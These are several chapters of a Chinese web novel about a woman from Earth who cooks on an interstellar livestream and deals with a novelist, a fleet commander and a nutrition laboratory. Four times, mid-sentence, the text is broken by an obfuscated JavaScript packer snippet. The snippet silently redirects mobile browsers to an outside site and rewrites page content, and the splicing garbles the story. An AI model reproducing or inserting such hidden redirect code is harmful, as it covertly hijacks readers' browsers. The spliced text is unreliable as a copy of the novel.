视频的拍摄者躲在黑暗之中，丝丝光线漏了进来，再仔细一看，漏进来的不止光线，还有鲜红的血液，滴答滴答，浓郁又粘稠。 周围传来的声响显示着这是一场单方面的屠杀，无数痛哭和尖叫夹杂在风里灌进来。 漫长的时间过去，空气里只剩下呼呼作响的风声，拍摄者以为那些人离开了，从躲藏的地方出来，宋秋光听到她的干呕，再然后拍摄者就扑通一声跪倒在了地上。 拍摄者颤抖着双手似乎要给那些死去的亲人收尸，风声里响起几不可闻的脆响。 远远看见了两三个人影，那些人好像在哭，也好像在笑，拍摄者低头一看，自己的血液咕嘟咕嘟往外冒，像是一口刚打好的井。 评论一片哗然，原因无他，就像作者所说的那样，最后出现的那几个人，脸看不分明，身上的制服却绝对来自于天梯舰队。 宋秋光还想继续看，但还没有来得及操作，页面就消失了，她重复找了几遍，一无所获，最后甚至连这个第九星系的作者也搜索不到。 这种做派让她心冷，宋秋光把自己裹紧了一些，期待被窝还如往日版温暖，但过了一段时间，她还是觉得很冷。 也许哪个地方都是一样的，她想，无论往前过去多少年，往后过来多少年，人又换了多少茬。 【今天积分商城亏本大减价，瞧一瞧看一看，便宜卖了啊，你买不了吃亏，买不了上当。】 系统强硬地把积分商城在她面前展开，让她不得不看到，商城又上了新，显得满满当当，不过它唯一的顾客口袋里只有七十个积分。 宋秋光看到商城里很多商品的底下都标着不同程度的折扣，其中一个商品更是打了一折，放在很显眼的位置。 是她很爱吃的柠檬鸡爪，原价五十九个星币，现在只要五点九个星币，就可以得到满满一大碗。 她下了单，不多时，桌上就多出一个透明的玻璃大碗，每一根鸡爪都完全浸泡在浓郁的汤汁里，显得十分诱人。黄色柠檬片坐落其间，又点缀了香菜和白芝麻，鲜红的辣椒更是让人食欲大增，挪不开视线。 系统有一搭没一搭地嘴欠，她坐在桌边开始啃，鸡爪鲜嫩，没有腥味，不会是冷冻的。 一口下去，只觉得嚼劲满满，味道酸酸辣辣，还带有柠檬的清香，鸡爪搭配着相当入味的汤汁，吃起来十分过瘾。 宋秋光不知不觉中吃完了所有鸡爪，最后只留下一碗橙红色的汤汁。 “系统，你为什么会选择我呢？”她问，但是又不想真得到什么答案，立马把耳朵捂住。 【不是我选择了你，是我看到了你。】 但宋秋光没有听见。 第十星系，索尔星，天色渐晚，舷窗第四次路过主星。 他的邮箱里塞满了来自天梯的信件和语音，副官硬着头皮走到司空住身边，“舰长，总部质询。” 司空住当然比他先收到消息，毕竟他不是舰长，不是这场事件的第一责任人，然而司空住可以对总部置之不理，他却不行。 司空住深蓝色的瞳孔里仿佛藏着海水，谁也不知道他什么时候涨潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287232|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，什么时候退潮。 他一抬眼，表示自己暂时还没耳聋眼瞎，用不着副官提醒，在列表里选择了一个还算顺眼的名字，点开了星讯。 “这是第几回了？”对面是一张怒气冲冲的脸，左边眉毛和右边眉毛加起来能夹死一只苍蝇。 “这谁记得，”司空住转头问了副官一句，“你记得吗？” 副官的脸霎时白了。 “你就不能收敛一点，花点星币能解决的事情不要搞出人命来。” 司空住饶有兴趣地看向他的脸，“我倒不知道你对我的行事风格这么有意见，想来是不缺能源了吧。” 他又和副官说了一句，“给菲利克斯大人断两个月的能源供应。” 副官的脸比先前还要白了三分，这两人哪个他也得罪不起，只能尽量把自己的存在感降到最低。 “有本事你面对段协也这么说。”菲利克斯一下子哑火了，最后撂下一句。 这下轮到司空住不高兴了，“三个月。” 他又看向第十二星系，那颗绿化覆盖率惊人的星球名叫婆娑，据说婆娑星的地下埋藏着数量可观的Ⅶ号能源，如果能够全部开采出来，至少可以供应上天梯一年的能源需求。 但段恙还没有离开，他到底要做什么？ 段恙吸取了上次的教训，没有再在星网上推荐宋秋光的直播间，趁着她今天停播，他勉强记起了自己的主业。 他回忆着宋秋光做的饭菜，有着淡淡满草香气的饺子，金黄诱人、鲜美多汁的炸猪排，浓郁香甜的八宝粥，口感独特的红烧狮子头，酸甜适宜的杨枝甘露和咸香的蛋黄鸡翅。 他不该想的，一想到这么些美食，他的脑海里就浮现出了它们靓丽的身影，又好像品尝到了它们动人的滋味。 段恙决心和亲爱的读者们分享一下自己的痛苦，说干就干，字句飞快地从他手下流淌而出，比平日里快了两倍不止。 第十二星系特有的黄色天光暖暖地照进屋内，他把写好的篇章统一放置在手边，等到天色彻底暗下去，一本薄薄的美食小册子就新鲜出炉了。 他联系了编辑，打算把这本小故事放在星网上付费购买，想来会花十几个星币买这么短的书的人，不是大冤种，就是他的资深读者，绝不会像上次一样给她带来麻烦。 他想了想，顺带不要脸地给编辑设置了一个难题，让她在每一本书的最后一页藏好阅读锁，读完就自动把星币全部返还给。 编辑发来大大的问号，但段恙他正当红，又向来想一出是一出，她只好认命地安排了下去。 “不过到底是谁会花十六个星币买这本啊？”编辑扫视了几眼，认出这是前些天在星网上讨论度很高的推荐帖内容，删了一遍还不够，他怎么就不死心呢？ 她坐下来继续审，书的内容很短，没过多久她就审完发给了主编，又顺手把段恙提到的那个直播间加入收藏夹，想来随便看看应该也花不了什么时间。 她只是有点好奇，绝不是因为她想吃炸猪排和蛋黄鸡翅，嗯，绝对不是。 12. 埃洛文实验室 “你好，我是埃洛文实验室的采购助理，请问你是‘蜘蛛’上的厨神主播吗？” 宋秋光很感谢她没有把自己随便起的名字全部说出来，给她留了一点体面，被朋友在街边大声地喊出自己的cn名这件事仍在她的脑海里打转。 “嗯，我是。”要不然还是换个名字吧，她想。 “我想和你沟通一下味道复原的事宜，请问你这边什么时候有时间呢？” 她努力地从四份工里挤出了一点时间，“晚上七点半可以吗？” “容我多说一句，你是否需要星际劳动法援助？” “谢谢你，不过不需要，我是自愿的。”她咬着牙回答道。 “好的，晚上见。” 宋秋光把屏幕划到一边，右手托腮，“你出来一下，我好像在哪里看见过这个实验室，总觉得有点眼熟。” 【你喝过的所有营养液都是这个实验室出品的。】 她想起那支给她留下深刻印象的草莓味营养液，原来是这家实验室的产品，不过她也没喝过几支营养液啊。 【……最开始我把你带到这边来的时候，给你喝了不少。】 “系统啊系统，你和我还玩上‘我不问你不说，我一问你惊讶’的把戏了是吧？” 【哎嘿，这都被你发现啦。】 午饭时间，段恙雷打不动地出现了，靠门边的桌椅俨然有成为他专座的趋势。 汪玉偷偷把她拉到一边，“我妈妈说给你这个。” 她伸出手接到了一片叶子，形状接近正圆，色如碧玉，青翠欲滴，叶片上满是她看不懂的文字，她不得不敲了敲系统，让它发挥下翻译的能力。 “是鱼头豆腐汤的菜谱，我妈妈的秘方，”汪玉看她猜了半天，“虽然比不上你做的东西好吃，但是我很喜欢。” 鱼头豆腐汤是一道家常菜色，选用的是鲢鱼的鱼头，在淮城，人们管它叫大头鲢。宋秋光和鲢鱼面面相觑，以为星际的鲢鱼不能再叫大头鲢，得叫巨头鲢，光是鱼头就有她两双手那么大。 也得亏她不爱钓鱼，暂时也不打算做钓鱼佬，要不然就按星际这些鱼的个头和数量，听说还很容易钓，想必她是找不到回家的路的。 宋秋光吸了一大口气，克制住微妙的杀鱼恐惧，一个手起刀落，鱼头和鱼身完美分离，好像也不是很恐怖。 迈出了第一步，接下来就轻松多了，她用刀细细刮去鱼头上剩余的闪亮鳞片。 鱼身搁置在旁边，她把今天的主角——巨头鲢鱼头摆在自己面前。 鱼头从中间劈成两半，倒上一些花香酒腌制，再撒下薄薄的盐，盐均匀地散落在鱼头上，这样下油锅煎的时候就不会粘锅。 她起锅烧油，待到油热，就把鱼头倒入锅中，开小火煎，正反两面都煎出金黄色，加入半锅热水，再大火煮开，撇掉白色的浮沫，汤汁也从略显浑浊的无色透明变得奶白浓郁。 把豆腐切块，一起下入锅里，小火继续咕嘟咕嘟慢煮，最后点缀些许绿色的葱花。 汪玉的眼神就没离开过宋秋光的手，她妈妈的手艺很好，鱼头豆腐汤也是妈妈的拿手菜，但她自小吃了太多次，夏天吃，冬天吃，高兴时吃，难过时吃，刮风下雨要吃，天气晴朗也要吃。 再好吃的东西也禁不住这么吃，此前她的确是这么想的。 直到她抿了一口鱼汤，鱼头鲜美的滋味再度席卷了她的口腔，豆腐色泽雪白，口感嫰滑，二者完美地融合在了一起。 “我又爱上鱼头豆腐汤了。”汪玉宣布。 段恙在旁边听见，深以为然，这鱼头虽然长得奇怪了些，磕碜了些，吃到嘴里却异常鲜美。 是夜，结束了一天的工作，宋秋光无力地瘫在床上，埃洛文实验室的藤蔓标志准时亮了起来。 “我其实不太了解什么是味道复原，能麻烦你给我讲一讲吗？”她已经懒得自己去搜索关键词。 “不麻烦，其实我们实验室一直致力于生产星际居民需要的营养液，为此一直和下层星系有稳定的采购往来。” 采购助理似乎又想起了以前，那时候光是营养液的研发中心就有三千多人供职，新口味一上市，上层星系和中层星系的居民就争相购买。 后来发生的事情是在她意料之外的，埃洛文实验室出品的营养液口味完全取决于下层星系的居民，她们种植了什么谷物、蔬菜和水果，营养液的口味就是什么味道的。 复原了这些味道的营养液在上层星系和中层星系都很受欢迎，尤其是中层星系，时至今日，中层星系仍在稳定进口这类营养液。 问题出在上层星系，居民们很快厌倦了单一的味道，要求风味更加复杂的营养液，而不止是草莓味、满草味和红豆味之类的。 于是为了满足上层星系居民的要求，她们就亲自来到了下层星系。 她在埃洛文做了三十六年，快要占据她生命中五分之一的时间，她很爱这份工作。 但有时候她也会忍不住想，上层星系要求完美地复原出食物的味道，与此同时人们又贬低真正的食物，好像喝下的不是营养液，就会划伤她们尊贵的喉咙。 自出生以来，她就以营养液为食，只是要和下层星系的居民谈采购，她们也不管三七二十一，直接热情地把自己请到饭桌上，再摆上一大桌香喷喷的饭菜。 只是，上层星系在慢慢地抛弃她，抛弃埃洛文，抛弃下层星系，最近推出的三种口味在上层星系销量非常惨淡，甚至有人根本不知道埃洛文实验室出了新口味的营养液。 直到那一天，她看到了西桥的推荐，在被他删去之前。 她随手点进了那个直播间，主播正在做红烧狮子头，把红白相间的肉馅搓得圆滚滚，肉馅在手中微微地塌下了一点。 主播准备的材料很少，她被馋得开了品尝模式，痛失三十个星币，最后也只分到一丁点狮子头。 不过就是这一丁点也足够了。 她仿佛看见了埃洛文重新焕发生机。 “不好意思，但是我拒绝。”宋秋光说。 “那我们签……”她猛地顿住，“为什么？” 宋秋光被迫听了一大串青春往昔的回忆，除了耳朵听得要起茧子之外，什么也没捞着。 “这里，”她点开星网，“我甚至还没有决定要和你们签合同，埃洛文就已经用我的名字和直播间搞起了预售。” “一瓶营养液就要价一百个星币，都这么贵了，还要搞阶梯预售，第一批五十个自然日，第二批一百个自然日，第三批一百五十个自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287233|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日。” 宋秋光深切地觉得星际不愧是星际，抢钱也能说得这么清新脱俗。 而且预售量竟然还不少，也不知道是哪个大冤种预定了这些营养液。 更不必说那些再没文化也能看出来的苛刻条款，什么每月必须上供八种不同的菜肴啦，什么必须配合实验室的复原要求啦，什么直播间做过的菜色要和埃洛文签订独家协议啦。 当然最重要的是，作为和实验室深度绑定的原材料供应商，每个月她竟然只能拿到一千个星币。 好不容易送走了把她当猴耍的采购助理，宋秋光抽出两片猪肉脯塞进嘴里。 今晚的直播人应该也少不了，她目前没准备好做炊事兵，于是选择了人再多也不怕的猪肉脯，每个人都有份。 她准备做两种口味，原味和蜜汁味，挑选肥厚适宜的猪肉，剁碎成肉糜，再打进十来个鸡蛋。 把其余调料也混合好，腌制一段时间，她一脸菜色地开始搅拌，也不知道星际这么高的科技水平，就舍不得做点神奇厨师小机器出来造福人民。 【有的喔。】 宋秋光悲伤地发现自己已经习惯了贱兮兮的系统，听到这话竟然没啥太大的情感起伏。 她的房间里没有烤箱，和克里斯汀说好借厨房一用。 克里斯汀眨巴眨巴眼睛，仿佛在说，“哦亲爱的宋，做出来的美味你一定会和我分享的吧。” 宋秋光把肉糜均匀地摊开在纸上，接着一顿猛捶，它们被击打得十分平整，和纸张差不多薄厚，她十分潇洒地撒上满满的白芝麻。 原味的猪肉脯不用多加什么，想要得到蜜汁味的猪肉脯也很简单，在烤的时候刷上几次蜂蜜水即可。 肉脯在高温烘烤中渐渐失去水分，缩小了不少，但获得了暗红诱人的外表，焦香四溢的味道和嚼劲十足的口感，也算没白挨一顿打。 她专注于做猪肉脯，一时忘了看直播间，把猪肉脯切成片之后才得了空，准备和观众聊聊天吹吹水。 鲜红的观众数闯进她的视线，一万六千人在她的直播间里看她做猪肉脯。 她顺手拿起的蜜汁味猪肉脯还没吃到嘴，就被精通人性的品尝模式拿走进行再分配。 宋秋光的手腕隐隐作痛。 【恭喜宿主，第二个任务已完成，任务奖励下发中，请耐心等待～】 她看着直播间里速度快得几乎看不清的评论，还有一个接一个的打赏和礼物，不由得想念起最初只有个位数的观众。 已经要累死当场，她绝对不当星际网红啊啊啊啊。 【……你的自我感觉未免也太良好了。】 系统把段恙的星讯推到她眼前，又是一大段看了眼疼的话，总结下来就是他写了本美食小册子，本意是向他的读者推荐直播间。 对于阅读完整本故事的读者，他还贴心地把星币全部返还。 结果就变成了眼下这番局面。 话又说回来，虽然段恙没给她分成，但也没找她要广告费，白给她这波流量，有钱不赚是傻瓜。 “没事啦，多谢你支持我的直播，”她大手一挥，“明天请你吃佛跳墙。” 段恙的心微微一动，说不准是因为这个陌生的名词，还是想到屏幕背后她的笑脸。 13. 佛跳墙 和段恙约好请他吃佛跳墙，其实以宋秋光的抠搜本色，她话刚说完就觉得一阵心痛，都怪系统，正好开启了积分商城，页面又正好停在佛跳墙的食材包上。 看来这一切都是系统的阴谋。 【什么话，你自己听听，你说的这是人话吗？】 “别管这些有的没的了，打折吗？”她的口袋里只有七十个积分，而这个佛跳墙的食材包要价九十九积分，真是二十九个积分难倒大女子啊。 【呵呵，打死我也不会给你打折的。】 “说得跟我能打着你似的。”宋秋光不置可否，“那先把奖励发给我吧。” 系统抄袭功力见长，直接把转盘游戏带到了星际，一个圆形的半透明界面停在她手边，整个圆盘又被二十四个选项均分，她看了几眼选项，很符合系统一直以来展现的气质。 总共二十四个选项，十个选项是一百星币，五个选项是二百星币，剩下的选项总算是让人有点兴趣，但不多。 什么飞行器五年使用权啦，什么积分商城半价优惠券和代金券啦，什么无限供应的食材大礼包啦，很让人有一种拿到手也高兴不起来的感觉。 宋秋光忽然怔住了，在所有的选项中，她一开始甚至没看到，【回到地球。】 短短的四个字，像一把锥子钻进她的心里。 她用手一转，虚拟的转盘在淡蓝色的屏幕上透出一点光晕，那四个字在转盘上模糊不清，和其他选项没有什么不同。 转盘停下的时候，选项【数量惊人的食材大礼包，系统大出血之作，错过了你会后悔一辈子】亮着，口袋里的七十个星币是保住了，但她依旧凝视着那个黯淡的选项。 “就算我转到了它，你真的会放我走吗？” 【搞得我好像给你拐卖到星际来一样，我不是说过了吗？】 系统的语气忽然很正经，问题是它嘴里很少有什么值得记住的话，她记不住也是正常的。 【不过你忘了也无所谓，以我高贵的统格发誓，只要你转到了它，我就一定会送你回地球。】 即使那一天到来时，你后悔也不能更改。 宋秋光从食材包里翻出佛跳墙的所有食材，系统此统虽然嘴上不饶人，但给的东西也是真不错。 不过，想到之前做杨枝甘露时系统拿出来的品质很好的芒果，她疑心系统要么是有个连接到地球上的异次元口袋，要么干脆就是蓝胖子转世成了系统。 佛跳墙价格高，此前她没有吃过，来到星际倒是有钱了，可有钱也吃不着，下层星系的居民仍然保持着饮食传统，扎扎实实地吃饭，华夏数不清的菜谱却大多遗失在了岁月的变迁中。 说实话，她对做饭其实不是很感兴趣，但一想到那些失传的美食，也忍不住觉得心痛。 “我找了很多地方，还是没找到关于佛跳墙的资料。”段恙的星讯打断了她的思绪。 她想了想，“好像是有人形容这道菜‘坛启荤香飘四邻，佛闻弃禅跳墙来’，所以叫佛跳墙。” “佛是什么？禅又是什么？” 宋秋光一时没料到星际这个不要，那个扔掉，现在更是把佛教消灭了，随口编了个故事糊弄他。 她懒得去找晶体里藏着的浩瀚信息，花了十二个星币向系统买了佛跳墙的菜谱，果不其然，王小厨穿着一身洁白的厨师服，又带着他的水印缓缓升起。 该说不说，王小厨会的菜还蛮多的。 首先要把主料用清水浸泡至软，她把克里斯汀厨房里的盘子、碟子和碗全拿了过来，才把干鲍、海参、鱼翅、干贝和瑶柱等食材泡上，其中蹄筋还要用冷油浸炸，炸完再用水继续泡。 辅料则不用这么麻烦，清洗干净切块就可以。 宋秋光把泡好的主料放入蒸锅中，加上花香酒去腥，加水烧开，将主料彻底蒸熟，最后捞出洗净，控干水分，她按照王小厨视频里的调料列表，比对着自己有的调料往里面加，只能寄希望于她不会翻车了。 系统也是鸡贼，光出个食材大礼包，也不知道附赠个调料大礼包什么的。 她先把鸡的内脏清理干净，洗净切块，锅里倒水，放进棒骨、鸡脚、瘦肉、老鸭和切好的鸡肉块，好一通费事的焯完水之后用清水洗净，开始漫长的吊汤。 把吊好的汤滤出来，取出辛辛苦苦忙活了好几个小时的老伙计，宋秋光另起一锅，用蹄膀、鸡和火腿等食材再熬一锅汤，中间自不必说，又是一顿焯水洗净撇浮沫。 所以说，她到底为什么要答应段恙做佛跳墙？ 段恙又不知道佛跳墙是什么，要不然骗骗他得了，宋秋光想，但纠结良久，还是过不了自己心里这关，只好苦哈哈地继续做。 做佛跳墙既耗时又麻烦，比她想象得还要麻烦得多，别说今天和明天，后天也是绝对赶不上的，因此宋秋光让段恙等她通知，再过来克里斯汀。 中午，汪玉吃着潘做的员工餐，平心而论，潘做的饭菜没有让人惊艳的口味，但也不算难吃，她来克里斯汀很久，中午吃的都是员工餐。 也许是她被宋秋光养得太好了，总感觉今天吃饭吃得有点难以下咽。 宋秋光累得手都抬不太起来，想着汪玉可怜巴巴的样子，反正她做得多，干脆叫她一起来吃佛跳墙。 克里斯汀的门开了，进来一位新的顾客，行走之间，带来一阵奇异的香气，那香气也许是来自花，也许是来自草，总而言之，格外好闻。 汪玉也闻到了这股味道，用眼神和她讨论起香气的来源。 她忍不住看向门外，绿枝爬满墙壁，乳白色的光照在坑坑洼洼的地面上，先前宋秋光还没太注意到地面的起伏，以为它本来如此，没想到星际也会有这样的地方。 “话说，佛跳墙是什么？也是喝的吗？”吃完员工餐，汪玉突然想起了什么似的问道。 “是汤，可以喝也可以吃。” 汪玉欣慰地一笑。 宋秋光慢慢熬煮第二次做的汤，期间加入头一次煮的汤一起熬，提前准备好的鲍鱼、海参和鱼翅等食材，也拿出来做最后的清洗切块和焯水，加入到汤锅中小火慢煮。 等到汤汁几近熬干，她把锅中的一大家子捞出来，进行一个完美地摆盘，最后浇上一点汤汁，香味彻底充盈了她的房间，久久不散。 段恙大约是有事在身，说晚些时候到，汪玉下了班就一直陪着，此刻眼睛都要掉到锅里似的，就没移开过视线。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293414|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 汪玉给她和自己各盛了一碗，碗里都卧着一只鲍鱼，漫长的熬煮为它带来了深沉诱人的色泽，入口鲜嫩弹牙，鲍鱼下的食材既有藏不住的鲜，又不失其本味。 等到汪玉吃完一碗，眼巴巴地等着段恙到来，她看着觉得有点好笑。 平日里段恙就足够吸睛，今天更是像座富丽堂皇的宫殿成了精，幸亏他是晚上过来克里斯汀的。 等到他落座，汪玉连忙又舀了一碗，美美开吃。 香气扑鼻而来，段恙略显谨慎地尝了一口，口中鲜味满溢，佛跳墙的汤汁咸香，里面的每一样食材看着都陌生，组合起来达到了一种同样陌生的醇厚感。 数量众多的食材带来了丰富的口感层次，又统统半隐在金黄浓稠的汤汁中。 鲍鱼在舌尖上跳跃起舞，充分吸收了汤汁的浓而不腻，海参软糯柔润，鱼翅丝丝分明，入口即化，干贝鲜甜，种种食材不仅没白死，还死得十分崇高。 汪玉吃了三四碗，还打包了一些回家，她也没落下克里斯汀，托汪玉给克里斯汀也递一份。 汪玉吃得心满意足，答应了下来。 段恙也吃完了，但他没同汪玉一样离开，而是好像有什么话要对她说，她耐心地等待了一会儿，他依旧沉默。 次日清晨，第十二星系的天亮得很早，趁着还没到上班时间，宋秋光计划着去割尖尖果，头尾各有三个尖，因此得名，果实本身是火红色的，听汪玉形容，有很重的酸味，个头约莫有小半个手掌那么大。 她还没走出克里斯汀多远，便看见了一个人影，他周身仿佛自带发光的领域，是段恙。 他好像在等什么人，宋秋光左看右看，前看后看，没看见第三个人。 段恙也看到了她，走近过来。 “我要走了。”他忽然说。 宋秋光点点头，但半天没等到下文，心里又疑惑为什么和她说这话，她们好像并不是很熟吧。 “你做的饭真的很好吃，”他继续道，“一想到以后不能再来克里斯汀，吃到你做的饭，我就不想走了。” 说得跟要生离死别一样，她来第十二星系坐了两天船，想来从他所在的星系过来这里也花不了多少时间。 再说，她又不是以后不直播了。 风吹过，空气中弥漫着青草的气息，清新得令人心醉，段恙的长发原本是很服帖的，此刻却有几缕顽皮地落在了她的袖子上。 他的嘴唇一张一合，在说些什么，她渐渐地走了神，盯着那缕头发，这么漂亮又柔顺的头发，想必手感也很好吧。 段恙停住了，她也全然没有发觉，依旧毫不吝啬地把目光都放在他的长发上，从而完美地忽略了他的脸色。 “请，”他微微低头，把自己的头发递到她的手心，“你很喜欢我的头发吗？” 宋秋光没料到这路数，脸由内而外地红了起来，像只无力的大虾，被煮熟一次还不够，还要再煮第二次、第三次。 星历3164年的春天，每一个春天都会有这么些个好日子，风和暖，花儿也香，也许有时候还带着冬天的冷意，但究竟和冬天是不同的。 于是后来的很多年里，段恙对这个春天，念念不忘。 14. 肉坨子 在淮城，过年时躲不掉的东西有很多，除夕夜一边看着春晚一边包饺子，大年初一早上起来还没刷牙就要吃下的云片糕和橘子。 宋秋光记忆最深刻的是姥姥炸的肉坨子，肉坨子其实就是炸肉圆。 小时候她特别喜欢看《大耳朵图图》，里面有好多好吃的，张小丽做的炸小肉丸看起来是那么好吃，她缠着姥姥要吃，最后总能如愿得到一大碗炸坨子。 妈妈总做的是萝卜丝坨子，大半的萝卜丝，小半的肉糜，混合在一起，下锅炸，那时候老家用的还是烧柴火的土灶，她长了很久才长到和灶台一般高。 萝卜丝坨子和白菜粉丝包子一样，都是现在想起来觉得怀念，当时却深恶痛绝的食物，原因嘛，它们实在太能保存了，几乎要陪伴到过了年，出了正月。 萝卜丝坨子还有一点不好，刚炸出来是又香又脆的，吃起来香喷喷的，空口吃上十几个不成问题，但隔了一天半宿的，它就软下来，再不复以前的酥脆。 雀巢曾经想进军日本市场，刚开始调查的时候，各个年龄段的消费者都说自己很喜欢咖啡的味道，雀巢大喜，投入巨额费用想推开日本的大门，结果一败涂地。 日本人嘴上一套，背地里又是一套。此前咖啡的味道没有敲开她们的日常生活之门，一位营销大家想出了这么个办法，在日本推出咖啡口味的糖果，挤进小孩子们童年的记忆中，慢慢培养出日本人喝咖啡的习惯，最后大获成功。 宋秋光念大学时看到这个营销例子，显然它是成功的，但换个角度，她是绝对不会在长大后为云片糕味道的糖果和萝卜丝坨子味道的饮料买单的。 现如今是春天，原本她还想不起炸肉坨子，但直播间的观众人数越发多了，甚至有逼近两万人的趋势，每晚睡觉前她都要发愁第二天做些什么，加上汪玉采买的时候特意为她买的猪肉。 她也就想起来了这道菜。 取新鲜的猪肉剁成肉沫，肉最好是肥瘦适宜的，有了肥肉的参与，肉坨子才能达到外脆内嫩的效果。 昨日送走了段恙，她在割尖尖果的途中惊喜地发现了一小丛野葱，加上从系统那里敲来的生姜，总算是凑齐了葱姜蒜做饭三要素。 加入调料和碾碎的山药之后，再把肉沫搅拌均匀直至上劲，炸出来的丸子才会团结一致，不至于散开。 她把肉沫放在左手边，左手大拇指和食指相接，形成一个小小的圆，肉沫便从虎口处的圆中冒出来，自然而然地形成了一个接一个完美的肉坨子。 锅先热着，倒进半锅油，烧到五六成热时就可以把肉坨子下锅了，油在锅中仿佛沸腾的黑水，卷着肉坨子到处转悠，在油锅中慢慢定型。 也不用炸太久，肉坨子表面变得金黄，就可以捞出来开吃了。 她趁着第一锅出锅，吃了一个，肉坨子还是记忆中姥姥的味道，刚出锅的肉坨子总是滚烫的，几乎要把人的舌头上烫出一个水泡。 稍微放凉了些，温度宜于入口，她又把刚才囫囵吞下的肉坨子回味了一下，炸好的肉坨子略带焦黄，外壳酥脆，内里饱满多汁，明明只是成团的肉沫在油锅里走了一圈，但空口吃也不觉得腻人。 刚炸完的肉坨子鲜美可口，放上一两个小时滋味如旧，正合适用来直播。 她美滋滋地开始炸第二锅，因为肉坨子炸出来可以保存很久，平日里还能和青菜白菜一起烧汤，也很好吃，她也就不拘做多少。 夜幕降临，宋秋光已经忘记自己炸了多少锅，看时间差不多就点开直播间，今天直播间的人数一开始就冲破了两万人。 她低头，面无表情地看着自己炸出来的肉坨子，是不是她失忆了，她其实根本就没炸过肉坨子？ 宋秋光再确认了一边，用来盛放肉坨子的盆和碗还留有一丝余温，提醒着她自己不是在做梦。 最惊悚的是，当她转过身准备继续炸肉坨子时，发现装着肉沫的碗也在诡异地消失，她情不自禁地打了一个问号。 星际的人民是有点太不挑了哈。 她连忙使用主播权限，把所有的品尝模式全部关掉，然后深深地鞠了个躬，“各位观众不好意思，刚刚出镜的肉沫还是生的，不能吃。” “有吃到的观众请直接吐出来，后台联系我，我会退回当次的品尝模式使用费。” 安心酸地一口吐了出来，她还在想今天主播做的菜味道怎么怪怪的，但也没多想，她的手速本来就慢，主播的直播间观众越来越多，她能吃到的东西也越来越少。 这全是段恙的错，安想起来就忍不住咬牙切齿，在星网上写推荐帖还不够，写就写了，又装模作样地把它删了，删了也就算了，又写了一本美食小册子勾引读者。 安原本看到段恙的新书还很高兴来着，此人拖稿很有一手，又不怎么要脸，因此被广大读者又爱又恨。 直到她花了整整十六个星币，一看到直播间她就觉得不对劲，她直接跳到最后，发现一整本都是在推荐主播的直播间，主播做的饭有多么好吃啦，不吃真是会后悔一辈子啦。 安十分痛苦，怎么会有如此厚颜无耻之人？ 照段恙的知名度，她还能吃上主播做的饭菜吗？答案很快摆在了她的眼前，那就是一点也捞不着。 出于礼貌，她退出了段恙的粉丝群，预售中尚未发货的周边统统退款，段恙笔下的角色她暂时还割舍不下，于是留下了一部分周边在家里，其余所有东西打包挂在了星网上超低价出售。 也许是他的疯狂推荐引起了民愤，星网上转卖的帖子几乎滑不到底。 安的假期还剩下一周，她咬咬牙，把自己的小金库掏了出来，想来这些钱应该够得上去一趟第十二星系吧。 上层星系没有专门的航路通往下层星系，她印象里只有丧失居民资格，才能坐上一次免费的星舰到中层星系和下层星系。 她暂时还没有这样的打算，只好在星际旅游团的库中寻找符合她要求的星舰。 找了半天，安看得眼睛都酸了，也没找到拥有星系跃迁资质的星际旅游团，谁让没有星际跃迁资质的旅游团，会直接被拦在下层星系之外呢。 就在这时，她忽然看见了一座星舰，它上次航行的时间还是在六年之前，由第二星系到第九星系，之后再也没有记录，她有点犹豫，保不齐这座星舰已经变成星际垃圾，没完没了地漂浮在星海之中了。 但她实在没有更好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299030|166959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的选择，忍痛拿出了三百五十个星币，订了一张前往第十二星系的船票。 她一直盯着页面，两道深蓝色的光芒闪过，显示她订票成功，安没忍住在床上蹦跶了好几下，又连忙收拾了一下行李。 第九星系，索尔星。 司空住刚送走了段恙这尊大佛，总算神清气爽起来，他刚下令继续计划，却见副官发来了雪花般的信息。 无一例外，都是荷鲁斯号星舰的订票信息，他一怔，随即想起自己是有过这么一段时间，为了掩藏身份，让副官给舰队套了个星际旅游团的壳子。 